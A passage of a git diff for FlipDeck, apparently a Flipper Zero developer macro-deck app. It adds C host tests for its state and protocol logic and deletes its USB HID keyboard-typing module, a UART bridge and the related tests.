feed("ALR", "t1|e|flipdeck|Production deploy failed|Type error", 6); + CHECK(!(change & FdChangeAlert), "replayed alert is not shown twice"); + + clear_out(); + fd_state_seen(g_state, "t1", &g_out); + CHECK(!g_state->alert_visible, "dismissed"); + CHECK(sent("SEEN|t1*"), "SEEN sent"); +} + +static void test_action_request_lifecycle(void) { + reset(); + handshake(); + snapshot(2); + const FdAction* actions[4]; + fd_state_actions_for(g_state, "p1", actions, 4); + clear_out(); + CHECK(fd_state_request(g_state, actions[0], 100, &g_out), "request queued"); + CHECK(sent("REQ|1|a1|2*"), "REQ carries id, action and generation"); + CHECK(!fd_state_request(g_state, actions[0], 101, &g_out), "only one request at a time"); + + feed("RES", "99|1|other", 200); + CHECK_INT(g_state->request, FdRequestPending, "result for another request ignored"); + uint32_t change = feed("RES", "1|1|Opened in Cursor", 300); + CHECK(change & FdChangeResult, "result reported"); + CHECK(g_state->result_ok, "result ok"); + CHECK_STR(g_state->result, "Opened in Cursor", "result message"); + + // Timeout. + clear_out(); + fd_state_request(g_state, actions[0], 1000, &g_out); + CHECK(sent("REQ|2|"), "request ids increase"); + CHECK_INT(fd_state_tick(g_state, 1000 + FD_ACTION_TIMEOUT_MS), FdChangeNone, "not timed out yet"); + CHECK(fd_state_tick(g_state, 1001 + FD_ACTION_TIMEOUT_MS) & FdChangeResult, "times out"); + CHECK(!g_state->result_ok, "timeout is a failure"); + CHECK_STR(g_state->result, "No response from Mac", "timeout message"); + + // Disconnect fails a pending request. + fd_state_request(g_state, actions[0], 2000, &g_out); + fd_state_link_down(g_state); + CHECK_STR(g_state->result, "Disconnected", "disconnect fails the pending request"); + CHECK(!fd_state_request(g_state, actions[0], 2001, &g_out), "no requests while offline"); + CHECK(g_state->has_data, "data kept after disconnect (shown dimmed)"); +} + +static void test_limits_are_enforced(void) { + reset(); + handshake(); + feed("SNAP", "9|80", 0); + for(int i = 0; i < 80; i++) { + char text[64]; + snprintf(text, sizeof(text), "p%d|a%d|OPEN||", i, i); + feed("ACT", text, 0); + } + feed("END", "9", 0); + CHECK(g_state->has_data, "oversized snapshot still commits"); + CHECK_INT(g_state->committed.action_count, FD_MAX_ACTIONS, "actions capped at the limit"); + + // Overlong text fields are truncated, never overflow. + feed("SNAP", "10|1", 0); + feed("PRJ", "p1234567890|a-project-name-that-is-way-too-long-for-the-screen|b|c|0|0|0|-|0", 0); + feed("END", "10", 0); + CHECK_INT(strlen(g_state->committed.projects[0].id), FD_ID_LEN - 1, "id truncated"); + CHECK_INT(strlen(g_state->committed.projects[0].name), FD_NAME_LEN - 1, "name truncated"); +} + +static void test_duration_format(void) { + char buf[16]; + fd_format_duration(buf, sizeof(buf), 42); + CHECK_STR(buf, "42s", "seconds"); + fd_format_duration(buf, sizeof(buf), 38 * 60); + CHECK_STR(buf, "38m", "minutes"); + fd_format_duration(buf, sizeof(buf), 2 * 3600 + 5 * 60); + CHECK_STR(buf, "2h 5m", "hours"); + fd_format_duration(buf, sizeof(buf), 3 * 86400 + 5); + CHECK_STR(buf, "3d", "days"); +} + +int main(void) { + test_handshake(); + test_incompatible(); + test_snapshot_commit(); + test_bad_snapshot_keeps_previous_and_requests_sync(); + test_chunked_delivery(); + test_ping_pong_and_staleness(); + test_alerts_dedupe(); + test_action_request_lifecycle(); + test_limits_are_enforced(); + test_duration_format(); + free(g_state); + return test_summary("fd_state"); +} diff --git a/src/tests/host/test_usb_hid.c b/src/tests/host/test_usb_hid.c deleted file mode 100644 index 2c40bb1..0000000 --- a/src/tests/host/test_usb_hid.c +++ /dev/null @@ -1,208 +0,0 @@ -/* test_usb_hid.c - Host tests for usb_hid.c key mapping and combo parsing. - * - * Uses the #define static trick to expose static functions for direct testing. - * The Furi HAL stubs make all hardware calls no-ops so the pure mapping - * logic can be exercised without a device. - */ - -#include -#include -#include -#include -#include - -/* Pull in stubs before any Furi headers are needed */ -#include "stubs/furi.h" -#include "stubs/furi_hal.h" -#include "stubs/furi_hal_usb_hid.h" - -/* Include the public header to satisfy include guards */ -#include "../../usb_hid.h" - -/* Expose static functions by stripping the storage class */ -#define static -#include "../../usb_hid.c" -#undef static - -/* Re-introduce static for the test code below */ -static int g_passes = 0; -static int g_failures = 0; - -#define EXPECT_EQ(a, b, msg) do { \ - int _a = (int)(a); int _b = (int)(b); \ - if (_a == _b) { printf(" PASS: %s\n", (msg)); g_passes++; } \ - else { printf(" FAIL: %s — got %d, want %d (line %d)\n", (msg), _a, _b, __LINE__); g_failures++; } \ -} while(0) - -#define EXPECT_TRUE(expr, msg) EXPECT_EQ(!!(expr), 1, (msg)) -#define EXPECT_FALSE(expr, msg) EXPECT_EQ(!!(expr), 0, (msg)) - -/* ---------- key_name_to_code ---------- */ - -static void test_letters(void) { - EXPECT_EQ(key_name_to_code("A"), 4, "A -> 4"); - EXPECT_EQ(key_name_to_code("B"), 5, "B -> 5"); - EXPECT_EQ(key_name_to_code("Z"), 29, "Z -> 29"); - EXPECT_EQ(key_name_to_code("a"), 4, "a (lowercase) -> 4"); - EXPECT_EQ(key_name_to_code("z"), 29, "z (lowercase) -> 29"); -} - -static void test_special_keys(void) { - EXPECT_EQ(key_name_to_code("ENTER"), 40, "ENTER"); - EXPECT_EQ(key_name_to_code("ESCAPE"), 41, "ESCAPE"); - EXPECT_EQ(key_name_to_code("BACKSPACE"), 42, "BACKSPACE"); - EXPECT_EQ(key_name_to_code("TAB"), 43, "TAB"); - EXPECT_EQ(key_name_to_code("SPACE"), 44, "SPACE"); -} - -static void test_arrow_keys(void) { - EXPECT_EQ(key_name_to_code("RIGHT"), 79, "RIGHT"); - EXPECT_EQ(key_name_to_code("LEFT"), 80, "LEFT"); - EXPECT_EQ(key_name_to_code("DOWN"), 81, "DOWN"); - EXPECT_EQ(key_name_to_code("UP"), 82, "UP"); -} - -static void test_function_keys(void) { - EXPECT_EQ(key_name_to_code("F4"), 61, "F4"); - EXPECT_EQ(key_name_to_code("F5"), 62, "F5"); - EXPECT_EQ(key_name_to_code("F12"), 69, "F12"); -} - -static void test_unknown_keys(void) { - EXPECT_EQ(key_name_to_code("UNKNOWN"), 0, "unknown name -> 0"); - EXPECT_EQ(key_name_to_code("F99"), 0, "F99 -> 0"); - EXPECT_EQ(key_name_to_code(""), 0, "empty string -> 0"); -} - - -static void test_text_character_chords(void) { - HidKeyChord chord; - EXPECT_TRUE(char_to_chord('A', &chord), "uppercase A maps"); - EXPECT_EQ(chord.key, HID_KEYBOARD_A, "uppercase A key"); - EXPECT_EQ(chord.modifiers, KEY_MOD_LEFT_SHIFT, "uppercase A shift modifier"); - - EXPECT_TRUE(char_to_chord('/', &chord), "slash maps"); - EXPECT_EQ(chord.key, HID_KEYBOARD_SLASH, "slash key"); - EXPECT_EQ(chord.modifiers, 0, "slash no modifier"); - - EXPECT_TRUE(char_to_chord('|', &chord), "pipe maps"); - EXPECT_EQ(chord.key, HID_KEYBOARD_BACKSLASH, "pipe key"); - EXPECT_EQ(chord.modifiers, KEY_MOD_LEFT_SHIFT, "pipe shift modifier"); - - EXPECT_TRUE(char_to_chord('\n', &chord), "newline maps"); - EXPECT_EQ(chord.key, HID_KEYBOARD_RETURN, "newline return key"); -} - -static void test_shell_command_text_returns_true(void) { - s_usb_connected = true; - bool result = usb_hid_send_string("git commit -m \"fix: a_b/c | test\"\n"); - EXPECT_TRUE(result, "shell command punctuation is typeable"); - s_usb_connected = false; -} - -/* ---------- modifier_name_to_code ---------- */ - -static void test_modifiers(void) { - EXPECT_EQ(modifier_name_to_code("CTRL"), KEY_MOD_LEFT_CTRL, "CTRL -> KEY_MOD_LEFT_CTRL"); - EXPECT_EQ(modifier_name_to_code("LEFTCTRL"), KEY_MOD_LEFT_CTRL, "LEFTCTRL -> KEY_MOD_LEFT_CTRL"); - EXPECT_EQ(modifier_name_to_code("SHIFT"), KEY_MOD_LEFT_SHIFT, "SHIFT -> KEY_MOD_LEFT_SHIFT"); - EXPECT_EQ(modifier_name_to_code("LEFTSHIFT"), KEY_MOD_LEFT_SHIFT, "LEFTSHIFT -> KEY_MOD_LEFT_SHIFT"); - EXPECT_EQ(modifier_name_to_code("ALT"), KEY_MOD_LEFT_ALT, "ALT -> KEY_MOD_LEFT_ALT"); - EXPECT_EQ(modifier_name_to_code("LEFTALT"), KEY_MOD_LEFT_ALT, "LEFTALT -> KEY_MOD_LEFT_ALT"); - EXPECT_EQ(modifier_name_to_code("GUI"), KEY_MOD_LEFT_GUI, "GUI -> KEY_MOD_LEFT_GUI"); - EXPECT_EQ(modifier_name_to_code("CMD"), KEY_MOD_LEFT_GUI, "CMD -> KEY_MOD_LEFT_GUI"); - EXPECT_EQ(modifier_name_to_code("WIN"), KEY_MOD_LEFT_GUI, "WIN -> KEY_MOD_LEFT_GUI"); - EXPECT_EQ(modifier_name_to_code("LEFTGUI"), KEY_MOD_LEFT_GUI, "LEFTGUI -> KEY_MOD_LEFT_GUI"); -} - -static void test_modifiers_case_insensitive(void) { - EXPECT_EQ(modifier_name_to_code("ctrl"), KEY_MOD_LEFT_CTRL, "ctrl (lower) -> KEY_MOD_LEFT_CTRL"); - EXPECT_EQ(modifier_name_to_code("Shift"), KEY_MOD_LEFT_SHIFT, "Shift (mixed) -> KEY_MOD_LEFT_SHIFT"); - EXPECT_EQ(modifier_name_to_code("alt"), KEY_MOD_LEFT_ALT, "alt (lower) -> KEY_MOD_LEFT_ALT"); -} - -static void test_modifiers_dont_collide_with_keycodes(void) { - /* Regression test: modifiers must live outside the 0-255 keycode range, - * since usb_hid_send_key_combo ORs them into the same uint16_t button - * value sent to furi_hal_hid_kb_press(). A narrower (uint8_t) modifier - * accumulator would silently truncate these to 0. */ - EXPECT_TRUE(modifier_name_to_code("CTRL") > 0xFF, "CTRL modifier bit is above the keycode byte"); - EXPECT_TRUE(modifier_name_to_code("SHIFT") > 0xFF, "SHIFT modifier bit is above the keycode byte"); - EXPECT_TRUE(modifier_name_to_code("ALT") > 0xFF, "ALT modifier bit is above the keycode byte"); - EXPECT_TRUE(modifier_name_to_code("GUI") > 0xFF, "GUI modifier bit is above the keycode byte"); -} - -static void test_modifiers_unknown(void) { - EXPECT_EQ(modifier_name_to_code("HYPER"), 0, "HYPER -> 0"); - EXPECT_EQ(modifier_name_to_code(""), 0, "empty -> 0"); -} - -/* ---------- send_key_combo parsing (requires USB connected) ---------- */ - -static void test_combo_unknown_key_returns_false(void) { - s_usb_connected = true; - bool result = usb_hid_send_key_combo("CTRL+SHIFT+UNKNOWNKEY"); - EXPECT_FALSE(result, "combo with unknown key returns false"); - s_usb_connected = false; -} - -static void test_combo_known_key_returns_true(void) { - s_usb_connected = true; - bool result = usb_hid_send_key_combo("CTRL+SHIFT+P"); - EXPECT_TRUE(result, "CTRL+SHIFT+P returns true"); - s_usb_connected = false; -} - -static void test_combo_single_key_no_modifier(void) { - s_usb_connected = true; - bool result = usb_hid_send_key_combo("F5"); - EXPECT_TRUE(result, "single key F5 returns true"); - s_usb_connected = false; -} - -static void test_combo_disconnected_returns_false(void) { - s_usb_connected = false; - bool result = usb_hid_send_key_combo("CTRL+C"); - EXPECT_FALSE(result, "combo returns false when USB disconnected"); -} - -/* ---------- runner ---------- */ - -int main(void) { - printf("=== FlipDeck usb_hid host tests ===\n\n"); - - printf("[key_name_to_code: letters]\n"); - test_letters(); - - printf("[key_name_to_code: special keys]\n"); - test_special_keys(); - - printf("[key_name_to_code: arrow keys]\n"); - test_arrow_keys(); - - printf("[key_name_to_code: function keys]\n"); - test_function_keys(); - - printf("[key_name_to_code: unknown]\n"); - test_unknown_keys(); - - printf("[text character mapping]\n"); - test_text_character_chords(); - test_shell_command_text_returns_true(); - - printf("[modifier_name_to_code]\n"); - test_modifiers(); - test_modifiers_case_insensitive(); - test_modifiers_unknown(); - test_modifiers_dont_collide_with_keycodes(); - - printf("[usb_hid_send_key_combo parsing]\n"); - test_combo_unknown_key_returns_false(); - test_combo_known_key_returns_true(); - test_combo_single_key_no_modifier(); - test_combo_disconnected_returns_false(); - - printf("\n====================================\n"); - printf("Results: %d passed, %d failed\n", g_passes, g_failures); - return g_failures > 0 ? 1 : 0; -} diff --git a/src/tests/host/test_util.h b/src/tests/host/test_util.h new file mode 100644 index 0000000..ddd90ff --- /dev/null +++ b/src/tests/host/test_util.h @@ -0,0 +1,24 @@ +#pragma once +#include +#include + +static int g_pass = 0; +static int g_fail = 0; + +#define CHECK(cond, msg) \ + do { \ + if(cond) { \ + g_pass++; \ + } else { \ + g_fail++; \ + printf(" FAIL %s:%d: %s\n", __FILE__, __LINE__, (msg)); \ + } \ + } while(0) + +#define CHECK_STR(a, b, msg) CHECK(strcmp((a), (b)) == 0, msg) +#define CHECK_INT(a, b, msg) CHECK((long)(a) == (long)(b), msg) + +static int test_summary(const char* name) { + printf("%s: %d passed, %d failed\n", name, g_pass, g_fail); + return g_fail == 0 ? 0 : 1; +} diff --git a/src/uart_bridge.c b/src/uart_bridge.c deleted file mode 100644 index 64d1221..0000000 --- a/src/uart_bridge.c +++ /dev/null @@ -1,55 +0,0 @@ -/** - * @file uart_bridge.c - * @brief UART bridge implementation for the Flipper WiFi Dev Board - */ - -#include "uart_bridge.h" -#include -#include - -// WiFi dev board console runs at 115200 baud over the GPIO UART (pins 13/14) -#define UART_BRIDGE_BAUD_RATE 115200 - -static FuriHalSerialHandle* s_serial_handle = NULL; - -void uart_bridge_init(void) { - s_serial_handle = furi_hal_serial_control_acquire(FuriHalSerialIdUsart); - if(!s_serial_handle) { - FURI_LOG_W("FlipDeck", "WiFi devboard UART unavailable"); - return; - } - - furi_hal_serial_init(s_serial_handle, UART_BRIDGE_BAUD_RATE); -} - -void uart_bridge_deinit(void) { - if(!s_serial_handle) return; - - furi_hal_serial_deinit(s_serial_handle); - furi_hal_serial_control_release(s_serial_handle); - s_serial_handle = NULL; -} - -bool uart_bridge_is_connected(void) { - return s_serial_handle != NULL; -} - -bool uart_bridge_send_string(const char* text) { - if(!s_serial_handle || !text) return false; - - FURI_LOG_I("FlipDeck", "Sending to WiFi devboard: %s", text); - - // The dev board console expects CRLF-terminated lines; strip any trailing - // newline from the profile command and replace it with "\r\n". - size_t len = strlen(text); - if(len > 0 && text[len - 1] == '\n') len--; - if(len > 0 && text[len - 1] == '\r') len--; - - if(len > 0) { - furi_hal_serial_tx(s_serial_handle, (const uint8_t*)text, len); - } - furi_hal_serial_tx(s_serial_handle, (const uint8_t*)"\r\n", 2); - furi_hal_serial_tx_wait_complete(s_serial_handle); - - return true; -} diff --git a/src/uart_bridge.h b/src/uart_bridge.h deleted file mode 100644 index 780267d..0000000 --- a/src/uart_bridge.h +++ /dev/null @@ -1,35 +0,0 @@ -/** - * @file uart_bridge.h - * @brief UART bridge to the Flipper WiFi Dev Board (ESP32-S2) - */ - -#ifndef UART_BRIDGE_H -#define UART_BRIDGE_H - -#include -#include - -/** - * @brief Initialize the UART bridge to the WiFi dev board - */ -void uart_bridge_init(void); - -/** - * @brief Release the UART bridge resources - */ -void uart_bridge_deinit(void); - -/** - * @brief Check if the WiFi dev board UART bridge is available - * @return true if the UART bridge has been initialized - */ -bool uart_bridge_is_connected(void); - -/** - * @brief Send a string to the WiFi dev board over UART - * @param text String to send (a trailing "\r\n" is appended if missing) - * @return true if sent successfully - */ -bool uart_bridge_send_string(const char* text); - -#endif // UART_BRIDGE_H diff --git a/src/usb_hid.c b/src/usb_hid.c deleted file mode 100644 index e881491..0000000 --- a/src/usb_hid.c +++ /dev/null @@ -1,365 +0,0 @@ -/** - * @file usb_hid.c - * @brief USB HID communication implementation - */ - -#include "usb_hid.h" -#include -#include -#include - -#ifndef HID_KEYBOARD_OPEN_BRACKET -#define HID_KEYBOARD_OPEN_BRACKET 47 -#endif -#ifndef HID_KEYBOARD_CLOSE_BRACKET -#define HID_KEYBOARD_CLOSE_BRACKET 48 -#endif -#ifndef HID_KEYBOARD_BACKSLASH -#define HID_KEYBOARD_BACKSLASH 49 -#endif -#ifndef HID_KEYBOARD_SEMICOLON -#define HID_KEYBOARD_SEMICOLON 51 -#endif -#ifndef HID_KEYBOARD_APOSTROPHE -#define HID_KEYBOARD_APOSTROPHE 52 -#endif -#ifndef HID_KEYBOARD_COMMA -#define HID_KEYBOARD_COMMA 54 -#endif -#ifndef HID_KEYBOARD_DOT -#define HID_KEYBOARD_DOT 55 -#endif -#ifndef HID_KEYBOARD_SLASH -#define HID_KEYBOARD_SLASH 56 -#endif - -// USB HID state -static bool s_usb_connected = false; - -typedef struct { - uint8_t key; - uint16_t modifiers; -} HidKeyChord; - -static bool char_to_chord(char c, HidKeyChord* chord) { - if(!chord) return false; - chord->key = 0; - chord->modifiers = 0; - - if(c >= 'a' && c <= 'z') { - chord->key = c - 'a' + HID_KEYBOARD_A; - return true; - } - if(c >= 'A' && c <= 'Z') { - chord->key = c - 'A' + HID_KEYBOARD_A; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - } - if(c >= '1' && c <= '9') { - chord->key = c - '1' + HID_KEYBOARD_1; - return true; - } - if(c == '0') { - chord->key = HID_KEYBOARD_0; - return true; - } - - switch(c) { - case '\n': - case '\r': - chord->key = HID_KEYBOARD_RETURN; - return true; - case '\t': - chord->key = HID_KEYBOARD_TAB; - return true; - case ' ': - chord->key = HID_KEYBOARD_SPACEBAR; - return true; - case '-': - chord->key = HID_KEYBOARD_MINUS; - return true; - case '_': - chord->key = HID_KEYBOARD_MINUS; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '=': - chord->key = HID_KEYBOARD_EQUAL_SIGN; - return true; - case '+': - chord->key = HID_KEYBOARD_EQUAL_SIGN; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '[': - chord->key = HID_KEYBOARD_OPEN_BRACKET; - return true; - case '{': - chord->key = HID_KEYBOARD_OPEN_BRACKET; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case ']': - chord->key = HID_KEYBOARD_CLOSE_BRACKET; - return true; - case '}': - chord->key = HID_KEYBOARD_CLOSE_BRACKET; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '\\': - chord->key = HID_KEYBOARD_BACKSLASH; - return true; - case '|': - chord->key = HID_KEYBOARD_BACKSLASH; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case ';': - chord->key = HID_KEYBOARD_SEMICOLON; - return true; - case ':': - chord->key = HID_KEYBOARD_SEMICOLON; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '\'': - chord->key = HID_KEYBOARD_APOSTROPHE; - return true; - case '"': - chord->key = HID_KEYBOARD_APOSTROPHE; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '`': - chord->key = HID_KEYBOARD_GRAVE_ACCENT; - return true; - case '~': - chord->key = HID_KEYBOARD_GRAVE_ACCENT; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case ',': - chord->key = HID_KEYBOARD_COMMA; - return true; - case '<': - chord->key = HID_KEYBOARD_COMMA; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '.': - chord->key = HID_KEYBOARD_DOT; - return true; - case '>': - chord->key = HID_KEYBOARD_DOT; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '/': - chord->key = HID_KEYBOARD_SLASH; - return true; - case '?': - chord->key = HID_KEYBOARD_SLASH; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '!': - chord->key = HID_KEYBOARD_1; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '@': - chord->key = HID_KEYBOARD_2; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '#': - chord->key = HID_KEYBOARD_3; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '$': - chord->key = HID_KEYBOARD_4; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '%': - chord->key = HID_KEYBOARD_5; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '^': - chord->key = HID_KEYBOARD_6; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '&': - chord->key = HID_KEYBOARD_7; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '*': - chord->key = HID_KEYBOARD_8; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case '(': - chord->key = HID_KEYBOARD_9; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - case ')': - chord->key = HID_KEYBOARD_0; - chord->modifiers = KEY_MOD_LEFT_SHIFT; - return true; - default: - return false; - } -} - -// Key name to HID keycode mapping (using HID_KEYBOARD_* constants from firmware) -static uint16_t key_name_to_code(const char* name) { - // Support single characters directly (US keyboard layout) - if(strlen(name) == 1 && !(name[0] >= 'A' && name[0] <= 'Z')) { - HidKeyChord chord; - if(char_to_chord(name[0], &chord)) return chord.modifiers | chord.key; - return 0; - } - - // Full key names (uppercase) - if(strcmp(name, "A") == 0) return HID_KEYBOARD_A; - if(strcmp(name, "B") == 0) return HID_KEYBOARD_B; - if(strcmp(name, "C") == 0) return HID_KEYBOARD_C; - if(strcmp(name, "D") == 0) return HID_KEYBOARD_D; - if(strcmp(name, "E") == 0) return HID_KEYBOARD_E; - if(strcmp(name, "F") == 0) return HID_KEYBOARD_F; - if(strcmp(name, "G") == 0) return HID_KEYBOARD_G; - if(strcmp(name, "H") == 0) return HID_KEYBOARD_H; - if(strcmp(name, "I") == 0) return HID_KEYBOARD_I; - if(strcmp(name, "J") == 0) return HID_KEYBOARD_J; - if(strcmp(name, "K") == 0) return HID_KEYBOARD_K; - if(strcmp(name, "L") == 0) return HID_KEYBOARD_L; - if(strcmp(name, "M") == 0) return HID_KEYBOARD_M; - if(strcmp(name, "N") == 0) return HID_KEYBOARD_N; - if(strcmp(name, "O") == 0) return HID_KEYBOARD_O; - if(strcmp(name, "P") == 0) return HID_KEYBOARD_P; - if(strcmp(name, "Q") == 0) return HID_KEYBOARD_Q; - if(strcmp(name, "R") == 0) return HID_KEYBOARD_R; - if(strcmp(name, "S") == 0) return HID_KEYBOARD_S; - if(strcmp(name, "T") == 0) return HID_KEYBOARD_T; - if(strcmp(name, "U") == 0) return HID_KEYBOARD_U; - if(strcmp(name, "V") == 0) return HID_KEYBOARD_V; - if(strcmp(name, "W") == 0) return HID_KEYBOARD_W; - if(strcmp(name, "X") == 0) return HID_KEYBOARD_X; - if(strcmp(name, "Y") == 0) return HID_KEYBOARD_Y; - if(strcmp(name, "Z") == 0) return HID_KEYBOARD_Z; - if(strcmp(name, "0") == 0) return HID_KEYBOARD_0; - if(strcmp(name, "1") == 0) return HID_KEYBOARD_1; - if(strcmp(name, "2") == 0) return HID_KEYBOARD_2; - if(strcmp(name, "3") == 0) return HID_KEYBOARD_3; - if(strcmp(name, "4") == 0) return HID_KEYBOARD_4; - if(strcmp(name, "5") == 0) return HID_KEYBOARD_5; - if(strcmp(name, "6") == 0) return HID_KEYBOARD_6; - if(strcmp(name, "7") == 0) return HID_KEYBOARD_7; - if(strcmp(name, "8") == 0) return HID_KEYBOARD_8; - if(strcmp(name, "9") == 0) return HID_KEYBOARD_9; - if(strcmp(name, "ENTER") == 0) return HID_KEYBOARD_RETURN; - if(strcmp(name, "ESCAPE") == 0) return HID_KEYBOARD_ESCAPE; - if(strcmp(name, "BACKSPACE") == 0) return HID_KEYBOARD_DELETE; - if(strcmp(name, "TAB") == 0) return HID_KEYBOARD_TAB; - if(strcmp(name, "SPACE") == 0) return HID_KEYBOARD_SPACEBAR; - if(strcmp(name, "RIGHT") == 0) return HID_KEYBOARD_RIGHT_ARROW; - if(strcmp(name, "LEFT") == 0) return HID_KEYBOARD_LEFT_ARROW; - if(strcmp(name, "DOWN") == 0) return HID_KEYBOARD_DOWN_ARROW; - if(strcmp(name, "UP") == 0) return HID_KEYBOARD_UP_ARROW; - if(strcmp(name, "F4") == 0) return HID_KEYBOARD_F4; - if(strcmp(name, "F5") == 0) return HID_KEYBOARD_F5; - if(strcmp(name, "F6") == 0) return HID_KEYBOARD_F6; - if(strcmp(name, "F7") == 0) return HID_KEYBOARD_F7; - if(strcmp(name, "F8") == 0) return HID_KEYBOARD_F8; - if(strcmp(name, "F9") == 0) return HID_KEYBOARD_F9; - if(strcmp(name, "F10") == 0) return HID_KEYBOARD_F10; - if(strcmp(name, "F11") == 0) return HID_KEYBOARD_F11; - if(strcmp(name, "F12") == 0) return HID_KEYBOARD_F12; - return 0; -} - -// Modifier key mappings (using KEY_MOD_* constants from firmware) -static uint16_t modifier_name_to_code(const char* name) { - // Support both uppercase and lowercase - char upper[16]; - int i; - for(i = 0; name[i] && i < 15; i++) { - upper[i] = toupper((unsigned char)name[i]); - } - upper[i] = '\0'; // terminate at actual end of string, not always at [15] - - if(strcmp(upper, "CTRL") == 0 || strcmp(upper, "LEFTCTRL") == 0) return KEY_MOD_LEFT_CTRL; - if(strcmp(upper, "SHIFT") == 0 || strcmp(upper, "LEFTSHIFT") == 0) return KEY_MOD_LEFT_SHIFT; - if(strcmp(upper, "ALT") == 0 || strcmp(upper, "LEFTALT") == 0) return KEY_MOD_LEFT_ALT; - if(strcmp(upper, "GUI") == 0 || strcmp(upper, "LEFTGUI") == 0 || strcmp(upper, "WIN") == 0 || strcmp(upper, "CMD") == 0) return KEY_MOD_LEFT_GUI; - return 0; -} - -bool usb_hid_is_connected(void) { - s_usb_connected = furi_hal_hid_is_connected(); - return s_usb_connected; -} - -bool usb_hid_send_string(const char* text) { - if(!s_usb_connected) { - FURI_LOG_W("FlipDeck", "USB not connected"); - return false; - } - - FURI_LOG_I("FlipDeck", "Sending string: %s", text); - - for(uint32_t i = 0; text[i] != '\0'; i++) { - HidKeyChord chord; - if(!char_to_chord(text[i], &chord)) { - FURI_LOG_W("FlipDeck", "Unsupported character: 0x%02X", (uint8_t)text[i]); - return false; - } - furi_hal_hid_kb_press(chord.modifiers | chord.key); - furi_delay_ms(5); - furi_hal_hid_kb_release_all(); - furi_delay_ms(5); - } - - return true; -} - -bool usb_hid_send_key(const char* keyName) { - if(!s_usb_connected) { - return false; - } - - uint16_t key = key_name_to_code(keyName); - if(key == 0) { - FURI_LOG_W("FlipDeck", "Unknown key: %s", keyName); - return false; - } - - furi_hal_hid_kb_press(key); - furi_delay_ms(50); // Press duration - furi_hal_hid_kb_release_all(); - furi_delay_ms(10); - - return true; -} - -bool usb_hid_send_key_combo(const char* combo) { - if(!s_usb_connected) { - return false; - } - - FURI_LOG_I("FlipDeck", "Sending key combo: %s", combo); - - // Parse combo (e.g., "CTRL+SHIFT+F5") - char work[64]; - strncpy(work, combo, sizeof(work) - 1); - work[sizeof(work) - 1] = '\0'; - - uint16_t modifiers = 0; - char* key_part = work; - char* plus = strchr(key_part, '+'); - - while(plus) { - *plus = '\0'; - modifiers |= modifier_name_to_code(key_part); - key_part = plus + 1; - plus = strchr(key_part, '+'); - } - - uint16_t key = key_name_to_code(key_part); - if(key == 0) { - FURI_LOG_W("FlipDeck", "Unknown key in combo: %s", key_part); - return false; - } - - furi_hal_hid_kb_press(modifiers | key); - furi_delay_ms(50); - furi_hal_hid_kb_release_all(); - - return true; -} diff --git a/src/usb_hid.h b/src/usb_hid.h deleted file mode 100644 index 2588ca6..0000000 --- a/src/usb_hid.h +++ /dev/null @@ -1,39 +0,0 @@ -/** - * @file usb_hid.h - * @brief USB HID communication layer for FlipDeck - */ - -#ifndef USB_HID_H -#define USB_HID_H - -#include -#include - -/** - * @brief Check if USB HID is connected and ready - * @return true if USB is connected and available - */ -bool usb_hid_is_connected(void); - -/** - * @brief Send a keyboard string over USB HID - * @param text String to send - * @return true if sent successfully - */ -bool usb_hid_send_string(const char* text); - -/** - * @brief Send a single key press - * @param keyName Key name string (e.g., "ENTER", "SPACE", "A") - * @return true if sent successfully - */ -bool usb_hid_send_key(const char* keyName); - -/** - * @brief Send a key combination (e.g., "CTRL+C", "SHIFT+F5") - * @param combo Key combination string - * @return true if sent successfully - */ -bool usb_hid_send_key_combo(const char* combo); - -#endif // USB_HID_H